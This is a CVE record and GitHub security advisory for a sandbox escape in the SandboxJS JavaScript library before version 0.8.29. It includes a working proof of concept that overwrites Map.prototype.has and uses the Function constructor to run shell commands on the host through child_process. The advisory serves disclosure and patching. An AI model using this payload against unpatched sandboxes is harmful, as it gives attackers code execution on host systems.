SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.
PUBLISHED5.2CWE-94
SandboxJS has a Sandbox Escape
Problem type
Affected products
nyariv
SandboxJS
< 0.8.29 - AFFECTED
References
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
GitHub Security Advisories
GHSA-66h4-qj4x-38xp
@nyariv/sandboxjs has a Sandbox Escape vulnerability
https://github.com/advisories/GHSA-66h4-qj4x-38xpSummary
As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
Details
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefined
const a = Map.prototype;
console.log(a) // Object [Map] {}
let a = 123;
console.log(a) // 123
const a = 123;
console.log(a) // 123
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();
Impact
Able to set Map.prototype.has -> RCE
JSON source
https://cveawg.mitre.org/api/cve/CVE-2026-25587Click to expand
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